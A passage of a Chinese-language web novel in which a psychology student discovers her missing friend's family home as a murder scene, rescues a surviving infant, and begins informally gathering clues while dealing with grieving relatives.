久到伊芙琳准备点挂断的时候,视频接通,一张硕大的脸,眼睛肿的和核桃一样……
“你……”
“我失恋了……”
或许是因为伊芙琳不在她的圈子里,和伊芙琳哭诉不会让小组其他人担忧,加西亚没忍住嗷一嗓子哭的惊天动地。
伊芙琳看着对面的姑娘窝在彩虹色沙发里哭的那叫一个灿烈。显然对方现在的状态,绝不可能有心情和她学做牛肉干了。
拿出心理学生的优势,伊芙琳温和的倾听然后劝解,之后在患者对渣男的痛恨情绪出来时,和对方一起蛐蛐那个男的有多坏,这种人肯定倒霉一辈子。
一个小时后,加西亚女王奇异的心情好了不少,然后她依依不舍的在视频中和伊芙琳道别,马不停蹄的换衣服梳妆打扮去吃肉酱意大利面。
不说加西亚去了之后直接吃了两盘子,伊芙琳挂掉视频,想了想给翠丝打了个电话。
不过对方还没接通,她也没在意,看了眼窗外阴沉的天气,灰色的天空带着沉闷和潮湿。
伊芙琳关上窗打开空调,将牛肉放回冷冻室,继续吃中午点的披萨。
本以为翠丝会给她打回来,可没有。而且直到晚上十一点,翠丝的电话都没有人接。
一个电话不接,可能是没听见,三通电话都没听见就有些让人忍不住紧张起来。
直觉,是人的大脑无意识的将感官所抓到的一切细节整合后所得到的结果。
伊芙琳眼皮直跳,但是她安慰自己,翠丝这种傻大姐就是个千年王八的体质,一般祸害别人的家伙命都特长。
可她还是快速的起身穿上衣服,伊芙琳决定先去翠丝家看一看,不过拿着钥匙人到门口余光瞥到了窗外黑压压的夜。
内心不是不害怕,伊芙琳曾经离死亡最近,这让她胆子也变小了。
犹豫再三,伊芙琳给翠丝的另一个朋友打了个电话。
左伊的男朋友是个山一般身强体壮的黑人,对于伊芙琳的请求她二话不说答应了,并表示会让她男朋友多叫一些人。
约好了在她家小店门口集合,伊芙琳直接出了门。
14. 尸体
普通的老式公寓楼,楼与楼之间的路非常窄。
月亮被乌云遮挡,一楼的居民门口的晾衣杆上的被单还未收回去,一半长到拖地,一半在绳子上被风吹的摇摇欲坠。
空气中的湿气越来越重,都隐隐带着的一点土腥味儿,伊芙琳看了眼床单没怎么在意,抬眼望着面前的四层红砖楼眼皮一直在跳,她身后的人语气有些迟疑,“这个床单是翠丝家的吧……”
佐伊是一个淡肤色的非裔女孩,五官很漂亮,穿着简单的白体恤和一件短裙,关键是小巧玲珑很受欢迎。
此刻佐伊拿着手电筒上前几步对着床单看了几眼她就直接将床单拉扯下来,显然是确定了。
床单都快要拖地了,她身后的四大金刚有一个动了,手脚麻利的上前一步快速的将拖地的被单三两下在半空中叠好。
伊芙琳本叹为观止熊一样的男人有着如此细腻的居家小技能,不过现在没什么心情。
这些都不重要,伊芙琳吸了吸鼻子,糟糕,她感觉怎么冷嗖嗖的,早知道出门穿多点了,夏天怎么能冷成这样。
到了三楼还能听到楼下夫妻俩争吵的声音,吵得尤为激烈,听嗓门就知道是一对年轻的夫妻俩,吵得那叫一个不管不顾专戳人心口子骂。
伊芙琳敲了敲翠丝家的大门,用了些力气,没有人出来,等了一会又使劲敲了敲门。
两分钟门也没有打开,伊芙琳按着左眼皮和佐伊直接站到一边,在这种情况下踹门而入是这片区域人们最常干的事。
往日里谁要是敢从佐伊家偷东西,不用半小时,佐伊的男朋友就会抵达小偷的家,一脚踹开大门逼得人家给钱,时间到将人按在地上揍一顿。
其他跟班无用武之地,也不知道佐伊怎么和他们说的,一个个半句话不说牢牢的守在两人身后,伊芙琳觉得无与伦比的安全,对比这些肌肉男,她手里的东西完全无用武之地了。
门被踹开,剧烈的响动让隔壁的几家传来骂骂咧咧的叫声。
安静的客厅,这么大动静都没有人出来,几人都不是傻的,伊芙琳和佐伊率先去翠丝的房间,空无一人,窗户没关,室内很整洁。
这时候隔壁传来佐伊男朋友叫着她们过去。
主卧里空无一人……伊芙琳冷不丁的愣了。
佐伊抱着手靠着门边,看向站在窗边的伊芙琳询问道“或许他们出去了?”
“开灯,”伊芙琳轻轻吸口气,然后缓缓的吐出去,她捏着手里的东西一时间感觉心跳快的让她有些不适。
佐伊非常熟悉翠丝家,她在男友和其他几个大块头傻乎乎的准备满墙找灯时,手一伸就将掩藏在衣柜后面的开关打开。
室内刚恢复亮光,刚开始都还没反应过来
迎面就是凌乱的堆叠的被子里,一对年轻的夫妻和一个刚出生不久的小婴儿出现在他们面前。
天花板上、墙壁上到处都是喷溅的血,夫妻俩脖子的血液似乎已经凝固,婴儿咬着手指……
迟来的惊恐地尖叫此起彼伏。
佐伊的男朋友站在佐伊身后,当场蹲下身吐了,另外三个男的也没好到哪去,有一个胆子还算大,喊完后贴着墙摸出手机报警。
佐伊从小到大第一次直面这种血腥的惨剧,她靠着墙人都软了,在介于要昏不昏的状态下,她听到伊芙琳说了一句,“孩子好像还活着……”
伊芙琳站在床边,她的声音和手一样抖,垂眸想要避开那对男女脖子上的痕迹,她轻轻的用手放在孩子的鼻尖……
微弱的小呼吸还带着暖乎乎的温度,伊芙琳摸着孩子柔软温暖的小身子,小心翼翼的将她从父母中间抱出来。
孩子身上的婴儿服是奶黄色的,小袖口还带着可爱的小褶皱,小脑袋上都带着奶黄色的小发箍,这是一套很贵的婴儿服,也是出了名的质量好,只可惜上面被暗红色晕染,黏糊糊的衣服湿漉漉的贴着孩子身上……
小家伙肚子一鼓一鼓的,伊芙琳听到了佐伊的哭声,可她不知道为什么哭不出来,盯着被打开的窗户她觉得自己最害怕的事情,就是翠丝一家或许被带走了,被杀人犯带走了……
这时候狂风卷起窗帘,远处传来警车呜呜的声音。
没过多久,楼下停了好几辆警车还有一辆救护车。蓝色忽闪的灯光和声音让这一片的人都从梦中惊醒。
那个报警的男人已经下去带着警察上来。而伊芙琳已经到了楼下,佐伊紧紧的靠着伊芙琳,伊芙琳抱着孩子,两人感受彼此一点点温暖,但这驱散不了心底的寒意和悲伤。
救护车的人一个留下来检查孩子的状况,初步断定只是被喂了迷药,而上去查看夫妻俩的急救人员还未进去就被法医告知已死亡。
折腾了一宿,孩子已经由匆匆赶来的爷爷奶奶接手,老夫妻俩眼睛红红的,生怕孙女再出什么事,硬是让孩子在医院多住几天。
伊芙琳从警局出来时看到了匆匆赶来的亨利警探,他看到伊芙琳惊讶极了,“蔡司小姐这么晚来警局是有什么事吗?”
也不怪亨利警长多问一嘴,他觉得自己在警局见到这个姑娘好多次了,这显然不是普通的频率。
伊芙琳略显疲惫的笑了笑,“做笔录。”
说完后,也不管亨利警长奇怪的脸色,和佐伊一起离开。
这姑娘特别热心的将她送回家才跟四个脚步虚浮的朋友们回家。
不过几人脸色都不太好,佐伊临走前还小声问伊芙琳,“翠丝能救回来吧,和你一样……”
—————
到家门口时,凌晨四点左右的高级公寓的花园里灯光明亮,伊芙琳见人离开后没有上楼,还是一动不动的站在原地,背后一阵寒风掠过,伊芙琳摸了摸脸,最后出了小区找到了门口的一家肯爷爷家。
她不想一个人呆着。
刚一进门就听到店内传来男男女女嘻嘻哈哈大声喊叫的声音,刺耳吵闹。
两名店员脸色不太好看,坐在柜台后听到声音看了眼伊芙琳,其中一个起身询问伊芙琳要点些什么。
伊芙琳都没有注意到自己的脸色难看极了,铂金色的长卷发胡乱的披在身上,嘴唇颜色都很淡。
以至于,那个店员以为对方是不是饿急了要晕过去,在伊芙琳点了一份套餐后马不停蹄的推着小伙伴去后厨炸鸡腿烘烤面包。
肯爷爷每一家店里的味道都是满满的油脂香,伊芙琳找到靠窗的位置,呆呆地望着大街上不时开过的轿车。
身后画着烟熏妆的精神小妹顶着蓬松的羊绒卷,叼着烟看着前面女孩的侧脸,和身旁的
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男人低声说着什么,小幅度的指了指前面的伊芙琳,说话间脸上还带着狡黠的笑意,在男人不愿意动弹时推了对方一下。
男人翻了个白眼,但在女友和朋友们催促着他时,只能起身上前,要一个吻而已,这并不困难。
一个看着就涉世未深女孩,只要动动小手段,还不是信手拈来。
伊芙琳困倦极了,但她依旧不敢睡,只捏着手机不停的翻盖合上再翻开,手机的通讯录每一个都不敢打,生怕对方担心。
翠丝一家被绑走了,凶手会做什么,他会给警察足够的时间抓到他吗?
翠丝脑子不好使,专业课次次低空飞过,犯罪心理讲座也是当众呼呼大睡,要是让她和杀人犯周旋,她不知道能不能做到,而且这次可是连带着翠丝的母亲一起被带走。
她不想看到朋友的尸体,只要一想到翠丝有可能遭受的一切她就喘不过气。
在一想到那个孩子,一个刚出生的孩子在懵懂时就亲眼见证自己的父母被杀,哪怕她还小什么都不知道。
凶手到底有多恶心,他是精神病吗?一个好好的家庭瞬间被毁。
那孩子被养的多好呀,她的爸爸妈妈肯定很爱她,或许……或许………
伊芙琳双手揉着头发,死死的抓着脑袋,哽咽一声,她想到那对年轻的父母死前看着孩子在凶手的身边,一定很害怕,他们一定死都停止不了对女儿的牵挂。
伊芙琳捂着脸无声的抽泣,听到声音她深吸口气抬头。
站在她面前的男人奇装异服,耳朵鼻子带着钉,五官勉强算俊俏,此刻看向她的目光带着迟疑。
“您有什么事吗先生?”伊芙琳带着哭腔面无表情的问道,顺道狠狠的擦掉脸上的水渍。
男人看了眼伊芙琳身后,那些人无声的给他加油打气,他只能发挥自己的优势,硬着头皮垂着眸轻笑,扯着嘴角眼睛拉丝似的勾搭面前的姑娘,“一个人?建议我坐在这里吗?”
伊芙琳看着男人指的位置,就在她的对面。她冷淡的低下头趴回桌子上,“请你离开先生,你的行为让我觉得你在骚扰我。”
男人惨遭滑铁卢,冲着朋友们摊摊手。
等他回去时,朋友们纷纷嘲笑他的技能难得失效,毕竟男人的魅力在他们这个乐队里众所周知,每一个女孩都会不由自主的爱上他。
哪怕男人的女朋友,羊绒卷女孩都阻挡不了前赴后继想要踩着她上位的女孩们。
不过这个羊毛卷也有些奇怪,男朋友受欢迎她很苦恼,男朋友被拒绝她立刻觉得伊芙琳不识好歹,不过片刻对男友的自信又让她觉得那女的在装模作样。
羊毛卷深深觉得这女孩肯定认识她男朋友,只是在欲擒故纵以退为进让而已。
她留了心眼,在其他人提议回家时她留了下来,在伊芙琳离开时她也小心的跟上,连身上的大链子都被她拿下来揣进兜里。
伊芙琳隐约感觉到后面有人,但她看了眼身后的路,除了树什么都没有,只能快步进了小区。
羊毛卷进不去,被凶狠的保安骂了一通,她自己也气的够呛,直骂保安狗眼看人低。
这一片高级公寓是有钱人才能住上的房子。
羊毛卷暗骂有钱了不起吗?还不是一个欲擒故纵的婊子。
15. 一条细微的线索
半夜都还阴沉沉的感觉要下雨,没成想凌晨蓝色的水雾消散,太阳升起。
倒是一个明媚的大晴天,伊芙琳回家时太阳整从东边缓缓爬山反光的高楼大厦。
这种天气,翠丝一定会高兴的在床上乱蹦乱跳大喊大叫,伊芙琳靠着翠丝乱糟糟的卧室门边看了好久,脑子里一点头绪都没有。
她不是警察,她不知道办案人员的流程,也完全没有专业人士的查案思路。
这一切发生前没有任何征兆,伊芙琳即便想破脑袋都找不到一点能够帮助翠丝的线索。
警察询问了很多,可伊芙琳真的不知道,她当时一问三不知,记录员虽然不是很明显的表露自己的失望,可伊芙琳还是能看出一点。
但伊芙琳将自己的怀疑说了出来,只是不知道他们有没有采用。
人影出现的时间和提亚婶婶交男朋友的时间相似的让她总怀疑这件事和男人有关。
按照前世看网络上一些博主说过的话,一般有男朋友的或者有丈夫的,都不用费力查别人,百分之八十都是……
也不知道那些博主有没有明确的调查过,有没有依据,不过伊芙琳现在也没其他思路不是吗?
她也不想干等着,在没有危险、不干扰警方的情况下,如果能找到一个他们都没有找到的细微的线索,是不是能让办案速度加快。
她很幸运被解救了,伊芙琳希望翠丝也能和她一样幸运。
佐伊家和翠丝家是多年的好友,交往甚密,更何况佐伊从小到大对社区应该很了解。她肯定知道点信息。
那个捕猎者究竟以什么标准找猎物,为什么不选择别的社区。
而这个社区这么多户人家,他为什么挑中了翠丝一家。
为什么不选择一楼的住户,拖着两具尸体和一个孩子,一楼不是更方便吗?
搬运两具尸体和一个孩子
伊芙琳突然在这上面较真了,那对夫妻看着都不是大胖子,但两个成年人和一个孩子,从一楼抱到三楼,是一个一个抱上楼的吗?
莫名其妙的,伊芙琳卷着发尾在指尖绕卷在想,这里不会有什么……共犯吧。
伊芙琳在肯爷爷家光顾着哭都没有胃口,现在好歹能找点事做分散了注意力。
她知道自己有些盲目自信,觉得自己肯定能找到什么线索,能够将自己的朋友完完整整的救出来。
哪怕她再没本事,也想出一份力。
此刻凭着这股子执拗,愣是多了几分胃口,也没用微波炉叮一下,汉堡直接三两口解决。
来到佐伊家的小超市的时候是早上七点,里面只有佐伊的母亲在收银台看电视,她告诉伊芙琳自己的女儿去翠丝家了。
这位婶婶脸色也有些憔悴,再一看电视,正是播报半夜发生的事,画面从尸体抬下来到伊芙琳抱着孩子和佐伊上了救护车,全程高清没有打马赛克。
伊芙琳眉头微皱,她很厌烦像苍蝇一样的家伙们,连马赛克都不打。
到了翠丝家门口,门半掩着,里面还传来佐伊的声音。
佐伊在卧室里趴在地上,她现在模仿福尔摩斯在找线索想但事实证明,没有就是没有。
佐伊男朋友站在卧室门口,身子都是紧绷的,反复劝女朋友赶紧离开吧,这里太可怕了。
佐伊本就一大早什么线索都没找到,现在听男友磨牙一样翻来覆去的磨叽,气的直起身嗷一嗓子“再给我说些没用的就分手!”
男朋友瞬间消音了,佐伊看到男朋友身后的伊芙琳,她眼里带着疑惑,对方一大早来这里做什么,不过只是一瞬屁股下的凉意让她想起来自己还在地上趴着找线索呢。
“什么都没有。”佐伊盘腿坐在地上,垂头丧气的摊手,“连脚印我都没看见。”
福尔摩斯,不是一般人能当的,佐伊看遍悬疑美剧、英剧,但看的很爽但真上阵,什么都找不到,这属实让人气馁。
铃声响起,伊芙琳从上衣兜里掏出手机打开一看是妈妈的电话。
【甜心,妈妈这段时间要去洛杉矶去客串一部情景喜剧,你要不要来洛杉矶。你之前不是好奇妈妈工作的地方吗?】
那是十五年前,伊芙琳五岁的时候希望妈妈陪她过生日说的。
就在伊芙琳准备和妈妈说一声有时间就过去,一种被人看着的感觉,让伊芙琳下意识的看向窗外。
狭窄的小路上只有十一二岁的报童骑着自行车飞过。她又探身看了眼几个门洞,视线在门洞之外的一个巷子口,垃圾桶旁有一个背影,在伊芙琳发现的时候就只能看到对方一只捏着烟的手。
距离本就不远,更何况男人的头发很明显。
那头棕色头发在阳光下发尾有些偏红,红棕色的头发男人。
伊芙琳挂断电话和身后已经爬起来的佐伊道,“我刚才,好像看到一个红棕色头发的男人背影。”
佐伊有些茫然,这和杀人犯有关吗?
“提亚婶婶的男朋友似乎是红棕色的头发吧,”伊芙琳有些兴奋,甚至越来越兴奋,她眼睛微亮,抓着佐伊的手小声道“如果那个男的真是他,那他怎么从杀人犯手里逃出来的,这显然有些奇怪不是吗?”
伊芙琳转身跑下楼,她见那个男人手里夹着烟,如果幸运,留下烟蒂,就能查清楚这个男的究竟是不是!
佐伊见伊芙琳跑的飞快,她连忙带着男友跟上去。
伊芙琳三人蹲在地上,最先看到的是五根抽到根的烟头和一些奇怪的东西。
“这个烟头?”佐伊看着伊芙琳从兜里掏出几个密封的小袋子捏着纸巾将这些烟头放进袋子里。
“我刚才看到那个人晃悠的手里夹着快要抽完的烟,我就想着如果他抽完了会不会随手扔在这里,我并没有看到他的正脸,以防万一把这个拿去做DNA比对,如果真是那个男的,这件事就有了突破不是吗!”
伊芙琳此刻觉得,自己或许不该报考心理专业,她更适合查案!
“佐伊,你认识翠丝母亲的新男友吗?他没有儿女吗?他自己一个人住吗?有什么工作平常和谁关系比较好?”
伊芙琳问话的时候还看了眼佐伊,见对方眯着眼似乎在绞尽脑汁回想而不是脱口而出,就知道对方不熟。
果不其然,她还是在男朋友的提醒下,才想起这个男的似乎在社区后的一家大型商超当搬货工。
“他自己一个人住,今年三月份左右在来的吧,这么久也没见有人找过他。”佐伊念叨着“这片社区很小,只有其他社区的二分之一大,大部分都是非裔,我们这些人从爷爷辈就互相认识,一些白人亚裔出现我们都能讨论好几天,我记得他当时在这附近租房子还是…”
佐伊转头看向自己的男友,“扎特,他租的是不是你朋友菲力的大姨的女婿家的房子…”
扎特蹲在女友身边,庞大的身躯将两个瘦弱姑娘留下的空余位置塞得满满当当。
硬汉点了点头并表示那个男人没有亲朋好友总是独来独往的,菲力的大姨的女婿给对方送蔬菜卷都被对方拒绝了。
“那个男的倒也不是不好相处,只不过太木纳了,邻居们打招呼他也只是点点头,什么话都不说,最开始菲力还和我说那个人肯定是个哑巴,不过后来菲力说那个人不是哑巴,也没多久就见提亚阿姨和他在一起了。”
伊芙琳和佐伊正听着扎特说到哑巴不是哑巴,身后路过的年轻女人停下脚步,“约瑟夫现在不是哑巴,但之前可能是。”
女人一手抱着咬奶嘴的黑娃,一手提着又大又满的陈旧的购物袋,都要冒出来的盒子上还带着打折的标签。
“我家就住在约瑟夫隔壁,他刚来那天我带着我丈夫给他送饼干,他说话磕磕绊绊的,咬的音还不准,就像是刚学会说话的孩子一样。他那件薄薄的衬衫从三月一直穿到月底,你们也知道咱这天湿冷湿冷,尤其是三月。我就将我丈夫一件旧了的衣服送给他,顺道问了一嘴他有没有亲人,结果他……”
女人说到这里,眉头不由自主的皱了起来,她念叨着“他看着像是害怕?我也不确定,反正我觉得他似乎有亲人但是关系不太好。”
伊芙琳和佐伊听得津津有味,女人也乐的有人听她唠叨,但显然,她的孩子有些不乐意了,本来在乖乖的裹着奶嘴,但见妈妈还没有回家,黑娃奶声奶气嗷一嗓子,不是哭而是提醒妈妈。
女人一听,连忙想起大女儿还自己在家呢,和伊芙琳他们说了一句下次聊就赶紧离开。
————————
警局一楼大厅,伊芙琳直接来到办事窗口,她表明了自己是昨晚那个案件的目击者,想要找一下负责这个案件的警察。
坐在窗口的人看了眼伊芙琳,抬手用座机打了个电话。
几分钟后,有人将伊芙琳带到了熟悉的办公室,给伊芙琳倒了一杯咖啡并告知对方大概十五分钟左右过来。
十五分钟左右啊,有些长了……
伊芙琳也没有多说什么,只靠着椅子喝咖啡看着百叶窗外,扫了几眼就看到那对眼熟的老夫妻。
那对老夫妻身边有一位穿着精英的四十左右的男士,男人盯着对面的中年夫妻,抿着嘴在压着怒气。
伊芙琳放下杯子来到门边。
声音瞬间清晰了不少。
“……您说得未免有些可笑,什么叫我们家连累了您的女儿,他们被杀和我们家有什么关系!”
那对中年夫妻的女人一边哭一边大声喊道“难道不是吗?兰登之前就被盯上了,人家
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都说了要是兰登硬要去法庭做证人他们就要杀了他!”
女人一巴掌拍着办公人员的桌子,披散这头发脸都涨红了“我劝了他多少次,他就是不听总说没事没事,现在呢,我女儿!我女儿啊!”女人喘不过气捂着胸口倒在丈夫怀里,“就陪着他死了!死了!”
男人听到这件事,他似乎没反应过来,还回头看了眼自己的父母。
伊芙琳没想道这里面还有这种事。
老夫妻显然面色愧疚,男人自然能看出来,他立刻问道“爸爸,这是真的?”
“是真的,他的同事被上司侵犯,他看到了所以想要作证,但是……”
老夫妻俩坐在椅子上,本就因着小儿子突然离世还是被如此残忍地杀害而痛如刀割,精神疲惫的厉害。早上又没吃东西,说完话就感觉眼前有些晕。
男人还没怎么注意,他沉默片刻只沉声道“一切没有查清楚之前,我不想兰登被人误解,毕竟他想要做证人代表着他是一个很善良的人。我的弟弟我了解,他绝不会轻易让自己的妻儿陷入危险,他……”
伊芙琳正掏出兜里的两颗糖块上前想要给那对老夫妻俩,他们看着似乎脸色不好。
就在这时,一道带着讽刺轻蔑的声音响起,“善良?谁知道是因为善良还是因为看上那个女的……”
男人脸色难看的看向中年夫妻身后坐在椅子上,叉着两条腿的烟熏妆女孩,兰登妻子的妹妹朱莉亚,他在兰登家见过一次,对方正在门口和自己的姐姐要钱。
就连他身后的老夫妻都气的不轻,眼见着老人家迷瞪着眼,手抖得更厉害,伊芙琳快步上前,拿着糖果询问一旁的老夫人,老夫人抓着伊芙琳的手连连点头“他低血糖!孩子!”
男人这时候也转过身连忙帮着母亲托着父亲,见一个陌生的小姑娘将糖果快速塞进自己父亲的嘴里,老人家还有意识蠕动着嘴,缓了一会睁开眼。
老人家缓慢的挪动着眼睛,看了眼弯着腰担忧的看着他的伊芙琳,缓了会儿张嘴,“谢谢,”
一旁的老夫人和自己的大儿子道,“埃里克,这就是我跟你说的,救了艾达的姑娘。”
老夫人很是感激的看向伊芙琳,埃里克闻言连忙伸手,“真是非常感谢,呃……”
“伊芙琳.蔡司。”
“蔡司小姐,”埃里克先生握着伊芙琳的手,很郑重道,“无论什么事,您需要帮忙的就尽管开口,这是我的名片。”
伊芙琳接过名片,突然感觉上面的公司感觉有些眼熟,她迟疑片刻,抬眼看着面前的中年男人,然后又低头看了看名片,最后没忍住问了一句,“您认识一个叫梅兰妮.莫雷蒂的女人吗?”
埃里克被看得莫名其妙,正想问这位蔡司小姐是否有什么事,就听到自己女友的名字。
男人诧异的睁大双眼,一旁的老夫妻俩都面面相觑,伊芙琳口中的梅兰妮正在医院帮忙照顾小艾达。
伊芙琳顿时了然,她觉得这简直太巧了,但紧接着内心总有一股说不出的难过,她总好奇梅兰妮阿姨口中帅气温柔的男朋友,但绝对不想在这种悲伤的时候……
“那是我妈妈的好朋友,她们现在住在一起,我听我妈妈说起过。”
埃里克冷不丁想起了什么,“蔡司,蔡司……你是维多利亚的女儿?”他看了眼面前亭亭玉立的姑娘,漂亮的又乖巧。和不靠谱、关键爱掉链子的维多利亚,没有一点相似之处!
如果不是现在难受的厉害,他真想打电话问问梅兰妮,伊芙琳真的不是维多利亚在片场抱错的孩子。
朱莉亚在一旁冷眼旁观,她早认出来伊芙琳,只是没想到她住的好,还是埃里克认识的人。
她想起自己每一次去兰登家,埃里克看都不看自己一眼,明明对谁都温柔。
想到这里,朱莉亚不由自主的心里憋火,这个伊芙琳很有本事嘛,几句话就引得埃里克笑容满面温柔的要滴出水来。
她可不管什么梅兰妮什么维多利亚,她的直觉告诉她这个伊芙琳是个装货。
就是个想要凭着自己身边的人脉到处勾搭男人的贱人罢了。
怎么办,朱莉亚咬着指甲在此刻心里并没有想自己的摇钱树大姐,悲伤早在刚得知消息时停留了十分钟。
她现在满脑子都在想,怎么让自己的男朋友将这女人勾搭手,然后狠狠的甩了她。
她想看这个叫伊芙琳的女人痛哭流涕趴在她男朋友的脚下,而朱莉亚就可以抱着自己的男友居高临下狠狠的唾弃她。
怎么办,越想越兴奋!
伊芙琳不知道自己莫名其妙吸引了一个女变态的目光,只和埃里克说到时候自己会去医院看梅兰妮后,被找她的警察带走,她的证据交到了那个警察的手里。
16. 第 16 章
伊芙琳抱着鲜花来到医院时,病房里埃里克和梅兰妮正坐在床边,两人低声说着话,床上的小婴儿睡的很沉,肉嘟嘟的小脸粉嫩嫩的。
埃里克接过伊芙琳的花,客气的笑着说谢谢。
梅兰妮看到她很开心,打量了片刻才拉着她坐在一边的沙发上,精心打理的蓬松波浪卷发随意的披在肩上,穿着一件宽松的棉麻长裙,脸上带着明媚又慈祥的笑容。伊芙琳被看的有些不好意思,找了个话题,“您这几天住在哪里?要不要去我家。”
梅兰妮摆摆手,“孩子情况本就很好,我明天就可以离开了,你妈妈还催我呢。”
最近的事闹的,伊芙琳慢了半拍才想起来,“是去洛杉矶吧,我听妈妈说她在那里要拍摄情景剧,乔伊和爱尔卡也要去吗?”
“当然,伊芙,你知道我们闲着也是闲着……”梅兰妮瞥了眼坐在窗边的埃里克,低头对着伊芙琳小声道“爱尔卡在片场要了两个角色,我也想去试试,还是泰坦尼克号的电影呢……”
哇哦。
梅兰妮问她什么时候去?伊芙琳摇了摇头,“暂时去不了,我还有其他事。”
这话刚说出口,梅兰妮上下打量伊芙琳,看着她的表情道,“甜心,交男朋友了?”
伊芙琳眨了眨眼,她不知道自己哪句话让梅兰妮得出这个结论。不过她还是有必要澄清一下,毕竟梅兰妮知道,维多利亚女士就会知道,之后会面临什么她也不清楚但总归有哥哥姐姐的前车之鉴,还是谨慎点好。
说起托马斯哥哥,伊芙琳非常同情他,所有人都知道他是个异性恋,但婴儿时期只是无意识的拿了妈妈的丝巾,从此以后维多利亚女士就一直打心里认为自己的儿子是个gay。
哪怕托马斯哥哥辩解了无数次,在初中时期交了好几个女朋友给维多利亚女士证明,迎接他的也是维多利亚女士拥抱以及一句孩子妈妈永远不会歧视你。
怎么说呢,当时两三岁的伊芙琳可能没有记忆,但据艾美姐和奥斯卡姐姐的说法是,托马斯气哭了一宿,奈何维多利亚女士早早打包好行李出去拍戏了。
伊芙琳声音坚定,“没有男朋友,我还没有碰到喜欢的。”
伊芙琳没有告诉梅兰妮翠丝的事,怕她跟着一起上火,甚至会留下来陪着伊芙琳。
梅兰妮有些不知道说什么了,和维多利亚也是从二十岁就认识的朋友,在一起混了三十多年,深刻知道好友的秉性。
张扬爱炫耀,做事极其不靠谱,每次都积极的想要帮忙但每次证明她就是不靠谱,自大自负自私。
这些秉性不说同样几十年的朋友乔伊,连刚相处一年的爱尔卡都精准的摸透了维多利亚的性子。
以至于维多利亚天天炫耀自己的小女儿和她一样聪慧漂亮有善心时,剩下的三人只觉得这个女人不要脸。
说实在的,维多利亚的头三个孩子无论是外貌还是智商性格都有些相似,但唯有伊芙琳是最不像的一个。
以至于梅兰妮总是忍不住的问乔伊,二十年前维多利亚硬挺着不生孩子想要撑过颁奖典礼,是她们在后台帮忙的吧,没有被谁掉包吧。
从小到大不交男朋友这件事,让维多利亚总是害怕自己的女儿以后会选择奔向上帝的怀抱。
虽然维多利亚在抢角色时内心最爱念叨的就是上帝,但显然不想让自己的亲女儿当修女。
梅兰妮也觉得伊芙琳不交男朋友有些奇怪,她可见过不少可爱的男孩子围着伊芙身边。
虽然伊芙一直都懵懵懂懂一副很不感兴趣的样子。
“亲爱的,你要多相处一些男孩子,你已经彻底将自己封住了,这样如何能得到美好的爱情呢?”梅兰妮轻声道,“不要觉得爱情是一个可有可无的东西,即便乔伊结婚当天被人抛弃,我的丈夫性冷淡,你的妈妈时不时的结婚离婚………”
梅兰妮说到这里望天,她也觉得三人悲惨的婚姻史实在拿不出手,但她依旧得硬着头皮讲下去,不过好在埃里克冲她一个安抚的微笑,想起埃里克她觉得自己的爱情还是拿得出手的。
“当然,婚姻和爱情有好有坏,或许我们会因此受到伤害,但是那些陪伴和幸福的瞬间可以成为美好的记忆。”
梅兰妮总感觉哪里不对劲,说着说着,脑子突然一片空白,都忘了自己要说什么了,她懊恼的揉着额头,最后面对伊芙清澈的眼睛,她摊手,“好吧,亲爱的,你自己开心就好。不过有好男人还是要抓紧时间出手。”
伊芙琳内心松口气,梅兰妮总是很唠叨,但她又不好做出不耐烦的样子,只抿着嘴听着都快睡着了。
至于什么爱情之类的,她表示这些事情还早呢,她才二十岁。
这时候一阵微弱的震动声响起,伊芙琳下意识的摸向一旁放着的外套,但显然她的手机只有几条还未看的短信。
昨晚睡的早,十点之后的短信她都没看,加西亚给她发了意大利肉酱意面的做法,强调是罗西亲自给她的配方。
说着意大利面,伊芙琳还真是饿了。
正好埃里克进来,伊芙琳也起身要告辞却见对方脸色不太好看,梅兰妮上前询问发生了什么。
埃里克捏着手机,绕着床转了好几圈,他有些急躁的想要发泄什么,可看了眼躺在床上还在睡觉的小小的侄女,他深吸口气捂着脸一屁股坐在凳子上,躬身捂着脸一声不吭。
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气氛有些压抑,梅兰妮上前,手搭在对方的后背上,慢慢的温柔的摩擦着,没有人在说话,伊芙琳想着要不要先离开,就听见埃里克沉闷的声音响起,“凶手跳河了,在警方的追捕中自杀了……不该这么轻松,我弟弟被割破……的时候,很痛苦……他为什么死的那么轻松。”
埃里克一字一句道,“梅兰妮,我不甘心。”
无论埃里克什么想法,人死了就死了,他再也追究不了任何事。
警方也在之后全力搜寻提亚和翠丝,奈何两人如同人间蒸发,不见尸体也不见人。
如此,几天后,周五的傍晚,伊芙琳去酒店准备送梅兰妮和抱着孩子的埃里克。
埃里克脸色还算可以,抱着孩子的姿势也非常的正确,据梅兰妮透露,他和前妻没有生过孩子,已经准备亲自照顾侄女,毕竟他的父母年纪太大了。
不过就在几人闲聊时,警方那边传来了消息,凶手另有其人。
而他们为什么如此断定。
埃里克在里面的房间和警探谈话,梅兰妮抱着孩子和伊芙琳一起坐在酒店套间客厅里。
伊芙琳脸微白,捧着焦香的咖啡不知道自己在想什么。
只模糊的听到身边人低声骂了几句,伊芙琳讶异的看向猛灌一口咖啡的梅兰妮,对方皱着眉,明媚的笑容难得消失不见,脸色严肃眼底带着厌恶和痛恨。
见伊芙琳的目光,梅兰妮有些尴尬,但她依旧硬着头皮想要解释自己爆粗口的原因,哦天啊,她竟然在乖宝宝伊芙面前说脏话,孩子不会对她有什么误会吧。
不过,梅兰妮没成想,小姑娘开口就是一句,“杀人犯都是精神不正常的bitch,”
“哦天,”梅兰妮捂着嘴,她觉得自己教坏了孩子,她真是看着伊芙琳长大的,这孩子从小就不会说脏话!维多利亚绝对会杀了她!
伊芙琳轻声道,“我朋友被绑走了,就是杀了兰登一家的杀人犯。”抬眼看向震惊的梅兰妮,小姑娘抿着嘴眼眶微红“我担心他们发现了翠丝……”尸体……
梅兰妮一把抱住她,心里简直难受的不得了,自己遭受那些痛苦,没成想身边的朋友也会经历这些。梅兰妮只要带入克利夫兰那三个闺蜜,不说辱骂杀人犯,她都要打人了!
梅兰妮此时温暖的手贴在伊芙琳后背,暖洋洋的触感让伊芙琳很安心,翠丝失踪后她一直惶惶不可终日,心里难过的不得了,如果当时她陪着好友一起回家,就绝不会发生这种事!
短时间内,埃里克还不能离开,作为女友梅兰妮也决定留下。
在此期间,梅兰妮并不想放伊芙琳独自一人在家,将人硬生生压在酒店。
17.这个疯婆子
这天早上,伊芙琳他们正在一楼餐厅吃早餐。
几人都没什么胃口,只是填肚子罢了。埃里克抱着孩子喂奶粉,小家伙不谙世事啥也不知道,叼着奶嘴咕嘟咕嘟就下去了一半。
是个能干饭的崽。
不过五个月大的宝宝,小手抓着奶瓶力气也足足的。
